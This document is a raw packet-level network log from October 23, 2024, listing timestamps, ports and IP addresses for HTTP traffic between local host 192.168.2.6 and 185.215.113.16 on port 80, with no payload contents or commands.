Oct 23, 2024 17:51:41.236289978 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.236291885 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.236314058 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.236314058 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.236327887 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.236339092 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.236356020 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.236367941 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.236367941 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.236367941 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.236387968 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.236392021 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.236402988 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.236416101 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.236428976 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.236435890 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.236435890 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.236449003 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.236450911 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.236464024 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.236473083 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.236475945 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.236490965 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.236499071 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.236502886 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.236514091 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.236526012 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.236527920 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.236536980 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.236566067 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.236641884 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.236661911 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.236673117 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.236681938 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.236687899 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.236700058 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.236706018 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.236711025 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.236730099 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.236747026 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.236757994 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.236758947 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.236757994 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.236757994 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.236772060 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.236776114 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.236793995 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.236805916 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.236809969 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.236816883 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.236829042 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.236840010 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.236850023 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.236852884 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.236859083 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.236872911 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.236876011 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.236886978 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.236897945 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.236906052 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.236917019 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.236917973 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.236937046 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.236943007 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.236951113 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.236963034 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.236969948 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.236974955 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.236984968 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.236985922 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.236998081 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.237010002 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.237020016 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.237023115 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.237030029 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.237035990 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.237044096 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.237047911 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.237060070 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.237071037 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.237071991 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.237087011 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.237097979 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.237108946 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.237121105 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.237124920 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.237124920 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.237137079 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.237139940 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.237152100 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.237163067 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.237166882 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.237175941 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.237188101 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.237217903 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.237217903 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.237230062 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.237234116 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.237246990 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.237257957 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.237282038 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.237309933 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.237325907 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.237338066 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.237349033 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.237396955 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.237396955 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.237417936 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.237431049 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.237442017 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.237459898 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.237472057 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.237484932 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.237490892 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.237515926 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.237524986 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.237665892 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.237684965 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.237699032 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.237718105 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.237720966 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.237730026 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.237747908 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.237760067 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.237766027 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.237773895 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.237778902 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.237786055 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.237795115 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.237798929 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.237809896 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.237818003 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.237822056 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.237833023 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.237838030 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.237845898 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.237876892 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.237876892 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.237884998 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.237896919 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.237910032 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.237922907 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.237926006 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.237926006 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.237934113 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.237941027 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.237946987 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.237958908 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.237971067 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.237974882 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.237988949 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.238014936 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.238035917 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.238048077 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.238059998 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.238094091 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.238094091 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.238104105 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.238118887 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.238130093 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.238142014 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.238149881 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.238154888 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.238177061 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.238192081 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.238363981 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.238384008 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.238395929 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.238405943 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.238416910 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.238420010 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.238429070 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.238440990 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.238451004 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.238456964 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.238456964 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.238466978 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.238486052 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.238487005 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.238500118 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.238509893 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.238511086 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.238523006 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.238533974 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.238544941 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.238548994 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.238548994 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.238557100 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.238574982 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.238586903 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.238586903 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.238586903 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.238614082 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.238622904 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.238635063 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.238635063 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.238635063 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.238647938 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.238658905 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.238667965 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.238667965 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.238681078 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.238692999 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.238704920 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.238714933 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.238735914 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.238735914 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.238735914 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.238745928 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.238754988 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.238766909 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.238779068 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.238784075 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.238784075 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.238797903 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.238809109 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.238816023 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.238816977 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.238822937 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.238828897 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.238835096 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.238863945 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.238863945 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.238879919 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.238882065 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.238894939 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.238907099 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.238946915 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.238946915 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.238969088 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.238981009 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.238991976 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.239013910 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.239028931 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.239043951 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.239051104 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.239056110 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.239095926 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.239101887 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.239109993 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.239110947 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.239125967 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.239128113 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.239139080 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.239151955 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.239162922 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.239176035 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.239203930 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.239203930 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.239213943 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.239234924 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.239269018 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.239291906 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.239305019 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.239322901 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.239346027 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.239764929 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.239809036 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.239820957 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.239841938 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.239869118 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.240092039 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.240137100 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.240149021 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.240171909 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.240214109 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.240241051 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.240252972 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.240266085 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.240278006 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.240288973 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.240297079 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.240299940 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.240319967 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.240320921 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.240333080 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.240338087 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.240345955 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.240350962 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.240386009 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.240466118 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.240478992 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.240515947 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.240525961 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.240550995 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.273977041 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.274039030 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.274049997 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.274076939 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.274084091 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.274127960 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.274173975 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.274179935 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.274214029 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.274247885 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.274270058 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.274282932 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.274291992 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.274334908 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.274369955 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.274396896 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.274404049 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.274405003 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.274458885 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.274488926 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.274503946 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.274521112 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.274540901 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.274574995 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.274610996 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.274626017 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.274646044 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.274667025 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.274678946 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.274713039 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.274729013 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.274745941 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.274763107 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.274782896 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.274801970 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.274837971 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.274853945 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.274872065 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.274880886 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.274905920 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.274919033 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.274940014 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.274966955 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.274992943 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.275002956 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.275047064 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.275055885 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.275089025 CEST	80	49868	185.215.113.16	192.168.2.6
